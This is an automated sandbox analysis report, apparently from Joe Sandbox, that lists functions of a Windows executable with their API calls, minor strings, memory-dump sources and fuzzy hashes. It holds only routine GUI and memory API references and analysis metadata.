Opcode Fuzzy Hash: c98e1648cdcdb261d477cee59c99308557e3c409976aa8185f2f0406b67515bc
Instruction Fuzzy Hash: 4E116D36701A8082F7518B62EC95BEF26A1FBC9F84F585531DF4A4BBA5CF38C4418740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400D0818 Relevance: 6.1, APIs: 4, Instructions: 55windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00000001400D083C
SendMessageW.USER32 ref: 00000001400D0863
IsChild.USER32 ref: 00000001400D0889
IsChild.USER32 ref: 00000001400D08B4

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Child$FocusMessageSend
String ID:
API String ID: 287298614-0
Opcode ID: 79667f0105e09594d4777bc29f81c58953d933d58b134f11409fe5a98ad61ace
Instruction ID: cd3e499f92a2d2961979687e2222416b143ae760e750a8b6bdacce8ae3f22018
Opcode Fuzzy Hash: 79667f0105e09594d4777bc29f81c58953d933d58b134f11409fe5a98ad61ace
Instruction Fuzzy Hash: 97115135702A4082FB668B57F5547AE6761EF88FC4F084431EF8E8BBA4DE75D8429360

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140184324 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

DrawThemeBackground.UXTHEME ref: 000000014018435E
IsRectEmpty.USER32 ref: 0000000140184367
InflateRect.USER32 ref: 000000014018437A
DrawThemeBackground.UXTHEME ref: 00000001401843A3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: BackgroundDrawRectTheme$EmptyInflate
String ID:
API String ID: 1053687596-0
Opcode ID: f7765a653184a3b86659a6c33cda2ba7717c5b33a6821583988fb6274baed85b
Instruction ID: b70dd0299b00accb5161f163128cd3fd2d26307a14101fc67820cff07a59790e
Opcode Fuzzy Hash: f7765a653184a3b86659a6c33cda2ba7717c5b33a6821583988fb6274baed85b
Instruction Fuzzy Hash: B0212177615A9086E7718F12E544BAEB365F7DCB84F149221DF8907A68DF38C694C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C8278 Relevance: 6.1, APIs: 4, Instructions: 53fileCOMMON

Download Yara Rule

APIs

SetActiveWindow.USER32 ref: 00000001400C82A6
DragQueryFileW.SHELL32 ref: 00000001400C82C0
DragQueryFileW.SHELL32 ref: 00000001400C82E7
DragFinish.SHELL32 ref: 00000001400C8312

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Drag$FileQuery$ActiveFinishWindow
String ID:
API String ID: 892977027-0
Opcode ID: ab47630339a5bdec6fbb5f7cdbb6ca77c1ae0dab519a7eace5fc290dc5bd3224
Instruction ID: a33a0702bf110e2387279b50f5be4b21dba5e82aeaff284b83a1ca386e9febca
Opcode Fuzzy Hash: ab47630339a5bdec6fbb5f7cdbb6ca77c1ae0dab519a7eace5fc290dc5bd3224
Instruction Fuzzy Hash: AE113D3A318B8481EA25EB27E498BDA6761F7CDF90F454122DF9947BA1CF78C546C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140048188 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

RegisterClassW.USER32 ref: 00000001400481D4
GetLastError.KERNEL32(?,?,?,?,00000001,000000014003F84E), ref: 0000000140048202
DeactivateActCtx.KERNEL32(?,?,?,?,00000001,000000014003F84E), ref: 0000000140048216
SetLastError.KERNEL32(?,?,?,?,00000001,000000014003F84E), ref: 0000000140048222

Part of subcall function 0000000140036568: OutputDebugStringA.KERNEL32 ref: 0000000140036588
Part of subcall function 0000000140036568: ActivateActCtx.KERNEL32 ref: 00000001400365B3
Part of subcall function 0000000140036568: GetLastError.KERNEL32 ref: 00000001400365BD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$ActivateClassDeactivateDebugOutputRegisterString
String ID:
API String ID: 312599135-0
Opcode ID: 4b98508fcf1ec5efb78129d73d2f1636756b748edc29b9f6ef9c9414967032d7
Instruction ID: 644b0a47562aae0173907a21326d1cacf2c3209b8be7eb5d6f22b7ac8e65e4f1
Opcode Fuzzy Hash: 4b98508fcf1ec5efb78129d73d2f1636756b748edc29b9f6ef9c9414967032d7
Instruction Fuzzy Hash: D5116D35200B5082E6629F13E5443AEA7E5F78CBD1F461969EF85676F0CB78C8928B44

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140048014 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

GetClassInfoExW.USER32 ref: 000000014004805E
GetLastError.KERNEL32 ref: 0000000140048087
DeactivateActCtx.KERNEL32 ref: 000000014004809A
SetLastError.KERNEL32 ref: 00000001400480A6

Part of subcall function 0000000140036568: OutputDebugStringA.KERNEL32 ref: 0000000140036588
Part of subcall function 0000000140036568: ActivateActCtx.KERNEL32 ref: 00000001400365B3
Part of subcall function 0000000140036568: GetLastError.KERNEL32 ref: 00000001400365BD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$ActivateClassDeactivateDebugInfoOutputString
String ID:
API String ID: 2706167345-0
Opcode ID: 2c6bfacf2784c20d28abb4ffbca830f23adfce5b78e8290a8c266ecd03bc5a90
Instruction ID: 4f47d002c85be0494360afa8f73dd95da848fba9f18be7c0806267dea18e8937
Opcode Fuzzy Hash: 2c6bfacf2784c20d28abb4ffbca830f23adfce5b78e8290a8c266ecd03bc5a90
Instruction Fuzzy Hash: 9411907561071086FBA28B2398483A966E0B79CBD0F064539DF44473F4CBB8C8898B44

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401427C4 Relevance: 6.0, APIs: 4, Instructions: 46windowCOMMON

Download Yara Rule

APIs

SetRectEmpty.USER32 ref: 00000001401427E2
SetRectEmpty.USER32 ref: 00000001401427EF
IsRectEmpty.USER32 ref: 00000001401427FC
IsWindowVisible.USER32 ref: 000000014014281B

Part of subcall function 00000001400497D8: GetDC.USER32 ref: 0000000140049817

Part of subcall function 0000000140049984: ReleaseDC.USER32 ref: 00000001400499AD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: EmptyRect$ReleaseVisibleWindow
String ID:
API String ID: 617111112-0
Opcode ID: 9a6ea002d69ef3a087d997c5066d654ee9c701269c09f1d10903c7b0075d4e4a
Instruction ID: d8ce4ad9985786ca858d48c7f56b98e7be709665bce5e5ed1deece19b55462a4
Opcode Fuzzy Hash: 9a6ea002d69ef3a087d997c5066d654ee9c701269c09f1d10903c7b0075d4e4a
Instruction Fuzzy Hash: 4D112536305A4181EA16DB22E9543ED6361FB89FE0F494225DBAE47BF5DF38C561C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014002A170 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 951cd432f0cf610a23d8feaa701ec3c654529af0a2ccd26c535ed7e557443f75
Instruction ID: 5897577eb74bd5ee80fa1a39d3e8243519d405be718c142350519bd3cac89733
Opcode Fuzzy Hash: 951cd432f0cf610a23d8feaa701ec3c654529af0a2ccd26c535ed7e557443f75
Instruction Fuzzy Hash: 69F06DB2B0264606FC6F73A345563ED11824F5EBF0F904B68BB39027E6ED3C8CA20100

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140071FFC Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 0000000140072042
GetSystemMetrics.USER32 ref: 0000000140072055
GetSystemMetrics.USER32 ref: 0000000140072064
SendMessageW.USER32 ref: 0000000140072083

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem$ClientMessageRectSend
String ID:
API String ID: 2251314529-0
Opcode ID: d6d7634b4d2bc64a44b6a530b55dfe517b632838eab4eb278642de79a8a7290b
Instruction ID: 7cdf6c8174fb422e0a07346701d3826cd4e342db7c4075a00e12e0c854004ec8
Opcode Fuzzy Hash: d6d7634b4d2bc64a44b6a530b55dfe517b632838eab4eb278642de79a8a7290b
Instruction Fuzzy Hash: 1611D63331474483EB55CB36E4987AA6761FB8CB94F044221AB8D877A4DFBCC590CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014013A7B8 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

InvalidateRect.USER32 ref: 000000014013A7F9
UpdateWindow.USER32 ref: 000000014013A803
InvalidateRect.USER32 ref: 000000014013A83A
UpdateWindow.USER32 ref: 000000014013A844

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: InvalidateRectUpdateWindow
String ID:
API String ID: 1236202516-0
Opcode ID: 6297357fb565d201053067b49fcce387b9f194763403fd76b5e01f2ec79161e8
Instruction ID: 721152671d7d099dee702780748e3a64f234c5c8fad994bc3beb61ee58a7be68
Opcode Fuzzy Hash: 6297357fb565d201053067b49fcce387b9f194763403fd76b5e01f2ec79161e8
Instruction Fuzzy Hash: 3901E572521640CAFB518F2AC44D7E93762E394F6EF580035CA090E5A4DFBB84AACB50

Uniqueness

Uniqueness Score: -1.00%

Function 000000014006E7B8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32 ref: 000000014006E881

Strings

g, xrefs: 000000014006E85D

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: AllocGlobal
String ID: g
API String ID: 3761449716-30677878
Opcode ID: 3b214a9e221339b24b06625db0ac36d0fed0d917df989e489a95a243a305f7bd
Instruction ID: 4754c4fbe73149b8a4bc0dfd33578db20ea1921c944be4e8c66bd9792b3b7af7
Opcode Fuzzy Hash: 3b214a9e221339b24b06625db0ac36d0fed0d917df989e489a95a243a305f7bd
Instruction Fuzzy Hash: 99817636214B8086EB11CFA6E8443DD63A1F788BE4F089126EF5D57BA9DE38C540CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000014013480C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

GetTextExtentPoint32W.GDI32 ref: 0000000140134875
GetTextExtentPoint32W.GDI32 ref: 00000001401349AF

Strings

, xrefs: 0000000140134855

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ExtentPoint32Text
String ID:
API String ID: 223599850-1776720792
Opcode ID: ee4cc489368898e608386a95eae3c7f4bc69dae796da9b14e0f9633a3102189d
Instruction ID: e588983573ea3ba7b7717e96a40f28d0412b5d47479662161b8187eed76ebd11
Opcode Fuzzy Hash: ee4cc489368898e608386a95eae3c7f4bc69dae796da9b14e0f9633a3102189d
Instruction Fuzzy Hash: 31616076B106508AE714CFABD984BAD37B5F34CB88F05812ADF59A3B68DB34D841CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000014010252C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00000001401025C6
SystemParametersInfoW.USER32 ref: 000000014010269A

Strings

, xrefs: 00000001401025F3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: InfoParametersRectSystemWindow
String ID:
API String ID: 85510744-3916222277
Opcode ID: aeddfa0b7b7ad5ae32ebc6d9e9d2a403fce938b88ef03a40ba89ac803b2c0fc0
Instruction ID: fa3e27d82427e0765bd8b0491d173857be51677edbb322bff30dd1901066b573
Opcode Fuzzy Hash: aeddfa0b7b7ad5ae32ebc6d9e9d2a403fce938b88ef03a40ba89ac803b2c0fc0
Instruction Fuzzy Hash: 0E51B0B6B0069089EB16DBA7E4987EC37A5B79CF98F184025DF0A57BA5DF74C481CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140132124 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32 ref: 0000000140132153
InflateRect.USER32 ref: 0000000140132256

Strings

$, xrefs: 000000014013228D

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$EmptyInflate
String ID: $
API String ID: 2809357572-3993045852
Opcode ID: a76d352013c39924a9aa99cbbb18466f6eef7b9f438fdc6dba2cf355040b2300
Instruction ID: d9a8fb1fb2baaefd9fcb5955f6216a0289b8b700bc2a438a9b78e689f7a2e78e
Opcode Fuzzy Hash: a76d352013c39924a9aa99cbbb18466f6eef7b9f438fdc6dba2cf355040b2300
Instruction Fuzzy Hash: B8419B3631468582EA11EFABE9547AE7360F78DFC4F484126EF4A97B65DE78C401C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400082BD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 000000014000846C

Strings

failed, xrefs: 00000001400082BD
Remediation: %s, xrefs: 0000000140008312

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FreeString
String ID: Remediation: %s$failed
API String ID: 3341692771-3089831621
Opcode ID: 9c155582a06acc78169b66476d484f3ec0129cc3ea0c802e9b2bcc708287fe1b
Instruction ID: 423c179264a0ecf8a082c566edfe08755cf247106b4b41073c6bc3ee05fc6013
Opcode Fuzzy Hash: 9c155582a06acc78169b66476d484f3ec0129cc3ea0c802e9b2bcc708287fe1b
Instruction Fuzzy Hash: 7741F772220A8096EB11EF36E8507DD2324F789BA8F805612FF5E97AA9CF74C645C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400082C6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 000000014000846C

Strings

deleted, xrefs: 00000001400082C6
Remediation: %s, xrefs: 0000000140008312

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FreeString
String ID: Remediation: %s$deleted
API String ID: 3341692771-3463592998
Opcode ID: 64f7e81a4bd859684b4fe9453c353bcde81c266cab922d3bcc1dd23d83d8f9c9
Instruction ID: a3467e48bfa044466a49f73c638a9d2a69217465896435770058cbd054f95cf2
Opcode Fuzzy Hash: 64f7e81a4bd859684b4fe9453c353bcde81c266cab922d3bcc1dd23d83d8f9c9
Instruction Fuzzy Hash: D541F772220A8096EB11EF36E8507DD2324F789BE8F805612FF5E97AA9CF74C645C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400082CF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 000000014000846C

Strings

ignored, xrefs: 00000001400082CF
Remediation: %s, xrefs: 0000000140008312

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

